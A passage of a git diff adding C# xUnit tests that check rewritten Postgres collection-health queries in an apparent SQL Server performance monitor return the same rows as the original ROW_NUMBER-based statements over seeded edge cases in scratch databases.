+        ViewerDataService.ApplyScheduledFrequencies([fleet], ServerId, [ViewerOverride(null, FiveMinute, 720)]);
+        Assert.Equal(CollectorHealthClassifier.Healthy, fleet.HealthStatus);
+
+        var both = Row();
+        ViewerDataService.ApplyScheduledFrequencies(
+            [both], ServerId, [ViewerOverride(null, FiveMinute, 720), ViewerOverride(ServerId, FiveMinute, 5)]);
+        Assert.Equal(5, both.EffectiveFrequencyMinutes);
+        Assert.Equal(CollectorHealthClassifier.Stale, both.HealthStatus);
+
+        /* A name the catalog does not know is left unstamped, keeping the classifier's floor thresholds. */
+        var unknown = new CollectorHealthRow { CollectorName = "not_a_collector" };
+        ViewerDataService.ApplyScheduledFrequencies([unknown], ServerId, [ViewerOverride(null, "not_a_collector", 720)]);
+        Assert.Null(unknown.EffectiveFrequencyMinutes);
+    }
+
+    /* ───────────────────────── the wiring ───────────────────────── */
+
+    /// <summary>
+    /// The reads that need a store cannot be driven here, so what a case can pin is that each calls the step the cases
+    /// above drive, once, after its rows are built, and that nothing resolves a second way.
+    /// </summary>
+    [Fact]
+    public void EachSurfaceStampsThroughTheOneResolution_AndNoSurfaceResolvesItsOwn()
+    {
+        var fleet = ReadRepoFile(FleetReaderPath);
+        var viewer = ReadRepoFile(ViewerPath);
+        var storeConfig = ReadRepoFile(StoreConfigPath);
+
+        /* The fleet roll-up reads the whole schedule table once, ahead of its health statement, and maps every row
+           with its server's rows. */
+        Assert.Equal(1, Count(fleet, "DarlingDataReader.ReadScheduleOverridesAsync(postgres, null, cancellationToken)"));
+        Assert.Equal(1, Count(fleet, "MapFleetHealthRow(reader, serverId, serverOverrides)"));
+        Assert.True(
+            fleet.IndexOf("DarlingDataReader.ReadScheduleOverridesAsync(postgres, null, cancellationToken)", StringComparison.Ordinal)
+            < fleet.IndexOf("postgres.CreateCommand(composedSql ?? FleetCollectionHealthSql)", StringComparison.Ordinal));
+
+        /* The viewer stamps what its two row-building reads return, and resolves only through the shared rule. */
+        Assert.Equal(1, Count(viewer, "ApplyScheduledFrequencies(items, serverId, scheduleOverrides);"));
+        Assert.Equal(1, Count(viewer, "ApplyScheduledFrequencies(rows, serverId, scheduleOverrides.Where("));
+        Assert.Equal(1, Count(viewer, "CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(row.CollectorName, serverId, overrides)"));
+        Assert.DoesNotContain("ResolveFrequencyMinutes(", viewer, StringComparison.Ordinal);
+
+        /* The worker's own resolution picks its rows through the shared selector, not a loop of its own. */
+        Assert.Equal(1, Count(storeConfig, "CollectorScheduleDefaults.SelectScheduleOverrides(collectorName, serverId, overrides)"));
+        var resolve = storeConfig.IndexOf("public static EffectiveSchedule ResolveSchedule(", StringComparison.Ordinal);
+        var resolveEnd = storeConfig.IndexOf("ResolveFleetRetentionDays(", resolve, StringComparison.Ordinal);
+        Assert.DoesNotContain("foreach (var o in overrides)", storeConfig[resolve..resolveEnd], StringComparison.Ordinal);
+    }
+
+    private static int Count(string haystack, string needle)
+    {
+        var count = 0;
+        for (var i = haystack.IndexOf(needle, StringComparison.Ordinal); i >= 0;
+             i = haystack.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthKeyedLookupParityTests.cs b/Darling/Darling.Tests/CollectionHealthKeyedLookupParityTests.cs
new file mode 100644
index 0000000000..547247a4ff
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthKeyedLookupParityTests.cs
@@ -0,0 +1,501 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4955: the per-server collection-health statements (the MCP tool's and the viewer grid's) used to rank every
+/// run of the seven-day window four (MCP) or three (viewer) times with <c>ROW_NUMBER()</c> only to read the
+/// NEWEST row of a class, and now read those rows through keyed lookups instead. A source pin cannot tell a
+/// lookup that picks the same row as the rank from one that picks a neighbour, so this class runs the pre-change
+/// statements (<see cref="CollectionHealthOracleSql"/>, kept verbatim) beside the current ones over one seeded
+/// store and requires every column of every row to agree - name, type and value - across the ties and the empty
+/// classes where the two shapes could part: equal timestamps with different statuses and different texts, a
+/// failure with text older than one without, notes that a run abandoned, a streak with and without a break, a
+/// collector that only skipped, a collector with one run, fan-out rows tied on the slowest item, a status the
+/// column cannot hold in the real table (a NULL one, seeded into a session-local copy of the view), and rows just
+/// before the window.
+///
+/// <para>Where the oracle's own order is not total (two rows equal on every ORDER BY key and different in a
+/// selected column) either row is a right answer, so no such case is seeded.</para>
+///
+/// <para>Each live test mints its own scratch database, so the rows it seeds and the plans it explains are its own:
+/// no other class's rows or chunks can reach them (#4650).</para>
+/// </summary>
+/* #1776 own-store: each live test mints its own scratch database, so no other class's rows or chunks shape what it
+   reads or how its plans come out. */
+[Collection("live-postgres")]
+public sealed class CollectionHealthKeyedLookupParityTests
+{
+    private const int ServerId = -4955001;
+    private const string ServerName = "keyed-lookup-parity";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly Regex s_fullWindowRank = new(
+        @"ROW_NUMBER\(\)\s+OVER\s*\(\s*PARTITION\s+BY\s+collector_name", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant);
+
+    [Theory]
+    [InlineData("mcp")]
+    [InlineData("viewer")]
+    public void TheStatementDoesNotRankTheWholeWindow(string which)
+    {
+        var (current, oracle) = which == "mcp"
+            ? (DarlingDataReader.CollectionHealthSql, CollectionHealthOracleSql.Mcp)
+            : (ViewerDataService.CollectionHealthSql, CollectionHealthOracleSql.Viewer);
+
+        /* The oracle is the shape being left: a rank per newest-row column over the whole window. */
+        Assert.Matches(s_fullWindowRank, oracle);
+
+        Assert.DoesNotMatch(s_fullWindowRank, current);
+        foreach (var rank in new[] { "note_rank", "error_rank", "slowest_rank", "recency_rank" })
+            Assert.DoesNotContain(rank, current, StringComparison.Ordinal);
+
+        /* The newest rows come from lookups keyed on an instant the plain aggregate found, one per class. */
+        Assert.Contains("LEFT JOIN LATERAL", current, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheCurrentPlansRankNothingOverTheWindow_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live collection-health plan test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(cs!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = Now();
+            await SeedEdgeCasesAsync(connection, now, ct);
+            var windowStart = DarlingMcpTestData.Naive(now.AddDays(-7));
+
+            /* The oracle's plans are the shape this pin is about: one WindowAgg per rank. */
+            Assert.True(
+                await CountWindowAggsAsync(connection, CollectionHealthOracleSql.Mcp, windowStart, ct) >= 4,
+                "the oracle should still show one WindowAgg per rank");
+            Assert.True(
+                await CountWindowAggsAsync(connection, CollectionHealthOracleSql.Viewer, windowStart, ct) >= 3,
+                "the viewer oracle should still show one WindowAgg per rank");
+
+            /* The viewer's statement has no window left at all; the MCP statement keeps ONE, the trailing
+               zero-row count, over the rows from the newest streak break on (a lookup, never the window). */
+            Assert.Equal(0, await CountWindowAggsAsync(connection, ViewerDataService.CollectionHealthSql, windowStart, ct));
+            Assert.Equal(1, await CountWindowAggsAsync(connection, DarlingDataReader.CollectionHealthSql, windowStart, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, DeleteRowsAsync);
+        }
+    }
+
+    [Fact]
+    public async Task BothStatements_ReturnTheOraclesRows_OverEveryEdgeCase_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live collection-health parity test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(cs!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = Now();
+            await SeedEdgeCasesAsync(connection, now, ct);
+            var windowStart = DarlingMcpTestData.Naive(now.AddDays(-7));
+
+            /* ── the real store ── */
+            var mcpOracle = await ReadAsync(connection, CollectionHealthOracleSql.Mcp, windowStart, ct);
+            var mcpCurrent = await ReadAsync(connection, DarlingDataReader.CollectionHealthSql, windowStart, ct);
+            Assert.Equal(31, mcpOracle.Columns.Count);
+            AssertSameRows("mcp", mcpOracle, mcpCurrent);
+            AssertOracleSaw(mcpOracle, now);
+
+            var viewerOracle = await ReadAsync(connection, CollectionHealthOracleSql.Viewer, windowStart, ct);
+            var viewerCurrent = await ReadAsync(connection, ViewerDataService.CollectionHealthSql, windowStart, ct);
+            Assert.Equal(19, viewerOracle.Columns.Count);
+            AssertSameRows("viewer", viewerOracle, viewerCurrent);
+
+            /* ── a session-local copy of the view, for the rows the table's NOT NULL status cannot hold ──
+               Both statements name v_collection_log unqualified, and pg_temp is searched first, so a temp
+               table of that name (made by CTAS, which keeps no NOT NULL) stands in for the view on this
+               connection alone and is gone with it. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "CREATE TEMP TABLE v_collection_log AS SELECT * FROM collect.v_collection_log WHERE server_id = $1", ServerId);
+            var nullStatusCasesRan = false;
+            try
+            {
+                await SeedNullStatusCasesAsync(connection, now, ct);
+
+                var mcpOracleNull = await ReadAsync(connection, CollectionHealthOracleSql.Mcp, windowStart, ct);
+                var mcpCurrentNull = await ReadAsync(connection, DarlingDataReader.CollectionHealthSql, windowStart, ct);
+                AssertSameRows("mcp+null status", mcpOracleNull, mcpCurrentNull);
+                var nullTie = mcpOracleNull.Row("null_status_tie");
+                Assert.Null(nullTie["current_status"]);
+                Assert.Null(nullTie["latest_run_note"]);
+                Assert.Equal(3L, nullTie["trailing_zero_row_success_runs"]);
+
+                var viewerOracleNull = await ReadAsync(connection, CollectionHealthOracleSql.Viewer, windowStart, ct);
+                var viewerCurrentNull = await ReadAsync(connection, ViewerDataService.CollectionHealthSql, windowStart, ct);
+                AssertSameRows("viewer+null status", viewerOracleNull, viewerCurrentNull);
+                Assert.Null(viewerOracleNull.Row("null_status_tie")["latest_run_note"]);
+                nullStatusCasesRan = true;
+            }
+            finally
+            {
+                /* #1902: RunOwnedAsync, not RunAsync - the temp table is session-local, so the drop has to run on
+                   this very connection; a fresh one would leave the shadow in place and report success. */
+                await LiveStoreCleanup.RunOwnedAsync(nullStatusCasesRan, async () =>
+                    await DarlingMcpTestData.ExecAsync(connection, ct, "DROP TABLE IF EXISTS pg_temp.v_collection_log"));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, DeleteRowsAsync);
+        }
+    }
+
+    // ── what the oracle must show for the seeded edges: the seeds prove the cases they name ───────────────────
+
+    private static void AssertOracleSaw(Result mcp, DateTime now)
+    {
+        /* Two rows at the newest instant, SUCCESS and ERROR: status DESC puts SUCCESS first, so exactly the one
+           zero-row success sits ahead of the newest break. */
+        var tieStatus = mcp.Row("tie_status");
+        Assert.Equal("SUCCESS", tieStatus["current_status"]);
+        Assert.Equal(1L, tieStatus["trailing_zero_row_success_runs"]);
+        Assert.Equal("tie error", tieStatus["last_error"]);
+
+        /* Two failures at one instant: the greater text wins, and the older instant's lesser text does not. */
+        var tieText = mcp.Row("tie_error_text");
+        Assert.Equal("err_zzz", tieText["last_error"]);
+        Assert.Equal("note_z", tieText["last_note"]);
+
+        /* A failure with text older than one without: the text is the older run's, the time is the newer's. */
+        var oldText = mcp.Row("old_text_new_textless");
+        Assert.Equal("old text", oldText["last_error"]);
+        Assert.Equal(DarlingMcpTestData.Naive(now.AddMinutes(-100)), oldText["last_error_time"]);
+
+        /* A SUCCESS note and a failure with text at one instant: neither class picks the other's row. */
+        var sameInstant = mcp.Row("note_vs_error_same_instant");
+        Assert.Equal("a note", sameInstant["last_note"]);
+        Assert.Equal("an error", sameInstant["last_error"]);
+
+        /* No failure, or failures with no text: no last_error. */
+        Assert.Null(mcp.Row("no_failures")["last_error"]);
+        Assert.Null(mcp.Row("failures_no_text")["last_error"]);
+        Assert.Null(mcp.Row("failures_no_text")["last_note"]);
+
+        /* Streaks: broken by an error, never broken, never a success, a NULL predicate that is no break. */
+        Assert.Equal(4L, mcp.Row("streak_with_break")["trailing_zero_row_success_runs"]);
+        Assert.Equal(6L, mcp.Row("streak_no_break")["trailing_zero_row_success_runs"]);
+        Assert.Equal(0L, mcp.Row("skipped_only")["trailing_zero_row_success_runs"]);
+        Assert.Equal(2L, mcp.Row("null_predicate")["trailing_zero_row_success_runs"]);
+        Assert.Equal(2L, mcp.Row("notes_and_abandoned")["trailing_zero_row_success_runs"]);
+        Assert.Equal(1L, mcp.Row("one_row")["total_runs"]);
+
+        /* Fan-out: the newest of the rows tied on the slowest item, and the NULL one never wins. */
+        var fanout = mcp.Row("fanout_ties");
+        Assert.Equal("db_new_tied", fanout["slowest_item"]);
+        Assert.Equal(6, fanout["fanout_items"]);
+        Assert.Equal(5000, fanout["slowest_item_ms"]);
+        Assert.Equal(38000, fanout["slowest_run_duration_ms"]);
+
+        /* A dearest run with no duration reports no duration. */
+        Assert.Null(mcp.Row("null_duration")["slowest_run_duration_ms"]);
+        Assert.Equal(900, mcp.Row("null_duration")["slowest_item_ms"]);
+
+        /* No row ever carried a slowest item: rank 1 falls through to the NEWEST row, whose own columns show. */
+        var none = mcp.Row("no_fanout_newest");
+        Assert.Null(none["slowest_item_ms"]);
+        Assert.Equal(777, none["slowest_run_duration_ms"]);
+        Assert.Equal(2, none["fanout_items"]);
+        Assert.Equal("x", none["slowest_item"]);
+
+        /* Rows before the window are not in it: the only text on this collector is older than the window. */
+        var before = mcp.Row("before_window");
+        Assert.Null(before["last_error"]);
+        Assert.Null(before["last_note"]);
+        Assert.Equal(2L, before["total_runs"]);
+    }
+
+    // ── the seeds ─────────────────────────────────────────────────────────────────────────────────────────────
+
+    private static DateTime Now()
+    {
+        var now = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc);
+        return new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerMillisecond), DateTimeKind.Utc);
+    }
+
+    private static async Task SeedEdgeCasesAsync(NpgsqlConnection c, DateTime now, CancellationToken ct)
+    {
+        DateTime Ago(double minutes) => now.AddMinutes(-minutes);
+        Task Seed(string collector, double minutesAgo, string status, string? message = null,
+                  int? durationMs = 100, int? rows = 10, int? fanoutItems = null, string? slowestItem = null,
+                  int? slowestItemMs = null) =>
+            SeedAsync(c, ct, collector, Ago(minutesAgo), status, message, durationMs, rows, fanoutItems, slowestItem, slowestItemMs);
+
+        /* Two rows at the newest instant with different statuses: current_status takes the greater status, and
+           the streak count puts the zero-row SUCCESS ahead of the ERROR that breaks it. */
+        await Seed("tie_status", 300, "SUCCESS", rows: 10);
+        await Seed("tie_status", 200, "SUCCESS", rows: 0);
+        await Seed("tie_status", 100, "SUCCESS", rows: 0);
+        await Seed("tie_status", 50, "SUCCESS", rows: 0);
+        await Seed("tie_status", 50, "ERROR", "tie error", rows: 0);
+
+        /* Two failures at one instant with different texts, and two notes at one (older) instant. */
+        await Seed("tie_error_text", 400, "SUCCESS", "note_a", rows: 0);
+        await Seed("tie_error_text", 400, "SUCCESS", "note_z", rows: 0);
+        await Seed("tie_error_text", 300, "ERROR", "err_aaa", rows: 0);
+        await Seed("tie_error_text", 300, "PERMISSIONS", "err_zzz", rows: 0);
+        await Seed("tie_error_text", 100, "SUCCESS", rows: 5);
+
+        /* NULL durations, one of them on the dearest fan-out run. */
+        await Seed("null_duration", 200, "SUCCESS", durationMs: null);
+        await Seed("null_duration", 150, "SUCCESS", durationMs: null, fanoutItems: 3, slowestItem: "db_a", slowestItemMs: 900);
+        await Seed("null_duration", 100, "SUCCESS", durationMs: 40);
+
+        /* No failures at all. */
+        await Seed("no_failures", 300, "SUCCESS");
+        await Seed("no_failures", 200, "SUCCESS");
+        await Seed("no_failures", 100, "SUCCESS");
+
+        /* Failures that carry no text. */
+        await Seed("failures_no_text", 200, "ERROR", rows: 0);
+        await Seed("failures_no_text", 100, "PERMISSIONS", rows: 0);
+
+        /* A failure with text older than a failure without: the text is the older run's. */
+        await Seed("old_text_new_textless", 300, "ERROR", "old text", rows: 0);
+        await Seed("old_text_new_textless", 100, "ERROR", rows: 0);
+        await Seed("old_text_new_textless", 50, "SUCCESS", rows: 3);
+
+        /* A SUCCESS note and a failure with text at ONE instant, neither the newest run. */
+        await Seed("note_vs_error_same_instant", 200, "SUCCESS", "a note", rows: 0);
+        await Seed("note_vs_error_same_instant", 200, "ERROR", "an error", rows: 0);
+        await Seed("note_vs_error_same_instant", 100, "SUCCESS", rows: 4);
+
+        /* Notes, a run the wall-clock budget abandoned before and after the ABANDONED status existed. */
+        var budget = EnumeratedCollectorDriver.WholeCycleBudgetNote(120);
+        await Seed("notes_and_abandoned", 400, "SUCCESS", budget, rows: 0);
+        await Seed("notes_and_abandoned", 300, EnumeratedCollectorDriver.AbandonedStatus, budget, rows: 0);
+        await Seed("notes_and_abandoned", 200, "SUCCESS", EnumeratedCollectorDriver.EmptyEnumerationMessage, rows: 0);
+        await Seed("notes_and_abandoned", 100, "SUCCESS", rows: 0);
+
+        /* A streak with a break, one without, and a collector that only ever skipped. */
+        await Seed("streak_with_break", 700, "SUCCESS", rows: 10);
+        await Seed("streak_with_break", 600, "SUCCESS", rows: 0);
+        await Seed("streak_with_break", 500, "SUCCESS", rows: 0);
+        await Seed("streak_with_break", 400, "SUCCESS", rows: 0);
+        await Seed("streak_with_break", 300, "ERROR", "boom", rows: 0);
+        foreach (var minutes in new double[] { 200, 150, 100, 50 })
+            await Seed("streak_with_break", minutes, "SUCCESS", rows: 0);
+        foreach (var minutes in new double[] { 600, 500, 400, 300, 200, 100 })
+            await Seed("streak_no_break", minutes, "SUCCESS", rows: 0);
+        foreach (var minutes in new double[] { 300, 200, 100 })
+            await Seed("skipped_only", minutes, "SKIPPED", rows: 0);
+
+        /* A row whose streak predicate is NULL (a NULL row count beside the budget note) is no break. */
+        await Seed("null_predicate", 300, "SUCCESS", rows: 5);
+        await Seed("null_predicate", 200, "SUCCESS", budget, rows: null);
+        await Seed("null_predicate", 100, "SUCCESS", rows: 0);
+
+        /* One run only. */
+        await Seed("one_row", 100, "SUCCESS", rows: 1);
+
+        /* Three rows tied on the slowest item (the newest of them wins), a smaller one, and a NEWER row with no
+           slowest item at all. */
+        await Seed("fanout_ties", 500, "SUCCESS", durationMs: 40000, fanoutItems: 8, slowestItem: "db_old", slowestItemMs: 5000);
+        await Seed("fanout_ties", 400, "SUCCESS", durationMs: 39000, fanoutItems: 7, slowestItem: "db_mid", slowestItemMs: 5000);
+        await Seed("fanout_ties", 300, "SUCCESS", durationMs: 38000, fanoutItems: 6, slowestItem: "db_new_tied", slowestItemMs: 5000);
+        await Seed("fanout_ties", 200, "SUCCESS", durationMs: 20, fanoutItems: 5, slowestItem: "db_small", slowestItemMs: 100);
+        await Seed("fanout_ties", 100, "SUCCESS", durationMs: 10);
+
+        /* No row has a slowest item: the newest row's own fan-out columns and duration come out. */
+        await Seed("no_fanout_newest", 300, "SUCCESS", durationMs: 50);
+        await Seed("no_fanout_newest", 200, "SUCCESS", durationMs: 60);
+        await Seed("no_fanout_newest", 100, "SUCCESS", durationMs: 777, fanoutItems: 2, slowestItem: "x");
+
+        /* Every status the counts name, with text on the failures. */
+        await Seed("status_mix", 800, "EXTENSION_MISSING", "install the extension");
+        await Seed("status_mix", 700, "SESSION_MISSING", "no session");
+        await Seed("status_mix", 600, "YIELDED", "yielded");
+        await Seed("status_mix", 500, "CANCELLED", "cancelled");
+        await Seed("status_mix", 400, "PERMISSIONS", "denied");
+        await Seed("status_mix", 300, "SKIPPED");
+        await Seed("status_mix", 200, "ERROR", "failed");
+        await Seed("status_mix", 100, "SUCCESS", "a note", rows: 2);
+
+        /* Rows just before the window, a row exactly on its start, and one after. */
+        var windowStartMinutes = 7 * 24 * 60.0;
+        await Seed("before_window", windowStartMinutes + 1, "ERROR", "before window");
+        await Seed("before_window", windowStartMinutes + 0.001, "SUCCESS", "old note");
+        await Seed("before_window", windowStartMinutes, "SUCCESS", rows: 0);
+        await Seed("before_window", 100, "SUCCESS", rows: 0);
+    }
+
+    /// <summary>Rows the real table cannot hold (its status is NOT NULL), into the session-local copy of the view.</summary>
+    private static async Task SeedNullStatusCasesAsync(NpgsqlConnection c, DateTime now, CancellationToken ct)
+    {
+        Task Seed(double minutesAgo, string? status, string? message, int? rows) =>
+            DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_temp.v_collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message, rows_collected)
+VALUES ($1, $2, $3, 'null_status_tie', $4, 100, $5, $6, $7)",
+                CollectionIdGenerator.Next(), ServerId, ServerName,
+                DarlingMcpTestData.Naive(now.AddMinutes(-minutesAgo)), status, message, rows);
+
+        /* A NULL status beside a SUCCESS at the newest instant: DESC puts the NULL first, so the newest run's
+           status and note read as NULL; the NULL-status row with a zero count is no break, the one with a
+           count is. */
+        await Seed(300, "ERROR", "e", 0);
+        await Seed(250, null, null, 10);
+        await Seed(200, "SUCCESS", null, 0);
+        await Seed(100, null, "null note", 0);
+        await Seed(100, "SUCCESS", null, 0);
+    }
+
+    private static Task SeedAsync(
+        NpgsqlConnection c, CancellationToken ct, string collector, DateTime atUtc, string status, string? message,
+        int? durationMs, int? rows, int? fanoutItems, string? slowestItem, int? slowestItemMs) =>
+        DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, error_message,
+     rows_collected, sql_duration_ms, duckdb_duration_ms, fanout_item_count, slowest_item, slowest_item_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)",
+            CollectionIdGenerator.Next(), ServerId, ServerName, collector, DarlingMcpTestData.Naive(atUtc),
+            durationMs, status, message, rows, 80, 20, fanoutItems, slowestItem, slowestItemMs);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collection_log WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
+    }
+
+    // ── reading and comparing ─────────────────────────────────────────────────────────────────────────────────
+
+    private sealed record Column(string Name, string PgType, Type ClrType);
+
+    private sealed class Result
+    {
+        public List<Column> Columns { get; } = new();
+
+        public List<object?[]> Rows { get; } = new();
+
+        public Dictionary<string, object?> Row(string collector)
+        {
+            var row = Rows.Single(r => (string)r[0]! == collector);
+            return Columns.Select((col, i) => (col.Name, Value: row[i])).ToDictionary(p => p.Name, p => p.Value);
+        }
+    }
+
+    private static NpgsqlCommand Bind(NpgsqlConnection connection, string sql, DateTime windowStart)
+    {
+        var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = windowStart });
+        return command;
+    }
+
+    private static async Task<Result> ReadAsync(NpgsqlConnection connection, string sql, DateTime windowStart, CancellationToken ct)
+    {
+        await using var command = Bind(connection, sql, windowStart);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var result = new Result();
+        for (var i = 0; i < reader.FieldCount; i++)
+            result.Columns.Add(new Column(reader.GetName(i), reader.GetDataTypeName(i), reader.GetFieldType(i)));
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new object?[reader.FieldCount];
+            for (var i = 0; i < values.Length; i++)
+                values[i] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+            result.Rows.Add(values);
+        }
+
+        return result;
+    }
+
+    private static void AssertSameRows(string label, Result oracle, Result current)
+    {
+        Assert.Equal(oracle.Columns, current.Columns);
+        Assert.Equal(oracle.Rows.Count, current.Rows.Count);
+        Assert.True(oracle.Rows.Count >= 10, label + ": the seed should give the oracle many collectors");
+        for (var r = 0; r < oracle.Rows.Count; r++)
+        {
+            for (var i = 0; i < oracle.Columns.Count; i++)
+            {
+                Assert.True(
+                    Equals(oracle.Rows[r][i], current.Rows[r][i]),
+                    $"{label}: collector {oracle.Rows[r][0]}, column {oracle.Columns[i].Name}: "
+                    + $"oracle <{oracle.Rows[r][i] ?? "NULL"}> but current <{current.Rows[r][i] ?? "NULL"}>");
+            }
+        }
+    }
+
+    private static async Task<int> CountWindowAggsAsync(
+        NpgsqlConnection connection, string sql, DateTime windowStart, CancellationToken ct)
+    {
+        await using var command = Bind(connection, "EXPLAIN (FORMAT JSON) " + sql, windowStart);
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        using var document = JsonDocument.Parse(json);
+        return CountNodes(document.RootElement, "WindowAgg");
+    }
+
+    private static int CountNodes(JsonElement element, string nodeType)
+    {
+        var count = 0;
+        switch (element.ValueKind)
+        {
+            case JsonValueKind.Object:
+                if (element.TryGetProperty("Node Type", out var type) && type.GetString() == nodeType)
+                    count++;
+                foreach (var property in element.EnumerateObject())
+                    count += CountNodes(property.Value, nodeType);
+                break;
+            case JsonValueKind.Array:
+                foreach (var item in element.EnumerateArray())
+                    count += CountNodes(item, nodeType);
+                break;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthOracleSql.cs b/Darling/Darling.Tests/CollectionHealthOracleSql.cs
new file mode 100644
index 0000000000..cb5de49924
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthOracleSql.cs
@@ -0,0 +1,482 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Collectors;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-server collection-health statements as they read before #4955 replaced their four (MCP) and three
+/// (viewer) full-window <c>ROW_NUMBER()</c> ranks with keyed lookups, kept VERBATIM as the oracle the rewrite is
+/// held to: <see cref="CollectionHealthKeyedLookupParityTests"/> runs each beside its current statement over the
+/// same seeded rows and requires every column of every row to agree. Do not edit these to follow the product
+/// statements; they are the definition of "the same values".
+/// </summary>
+internal static class CollectionHealthOracleSql
+{
+    /// <summary>The MCP service's statement (<c>DarlingDataReader.CollectionHealthSql</c>) before #4955: 31 columns.</summary>
+    public const string Mcp = $"""
+        SELECT
+            collector_name,
+            COUNT(*) AS total_runs,
+            -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+            -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+            -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+            -- the shared predicate is for: NULL under this NOT would have dropped it.
+            SUM(CASE WHEN status = 'SUCCESS'
+                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+                     THEN 1 ELSE 0 END) AS success_count,
+            SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+            AVG(duration_ms) AS avg_duration_ms,
+            -- #2460: the mean above describes a collector whose runs all cost about the same, and
+            -- says nothing true about one whose runs come in two sizes. query_store on a dense shard
+            -- reported a 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost
+            -- ~36 ms, which puts the other 197 at ~80,900 ms EACH — each one on its own larger than
+            -- the whole 60,000 ms sweep budget. duration_ms has been written per run since V2;
+            -- nothing had ever read it as anything but a mean.
+            --
+            -- p95 rather than the max for the number a decision is made from: a max is one run, so a
+            -- single pathological cycle would make a collector look permanently terrible for the rest
+            -- of the window. p95 also scales itself to the sample — over 3,500 runs it discards the
+            -- one bad cycle, and over the six runs a daily collector gets in a week it lands on the
+            -- max, which is right, because with six samples there is no outlier anyone can afford to
+            -- throw away. DISC rather than CONT so the answer is a duration some run actually took
+            -- instead of an interpolation between the two modes, which would be a number describing
+            -- no run at all — the exact defect this column exists to end. Both engines ignore NULL
+            -- duration_ms here, as AVG already does. Byte-identical to Lite's DuckDB read.
+            MAX(duration_ms) AS max_duration_ms,
+            PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
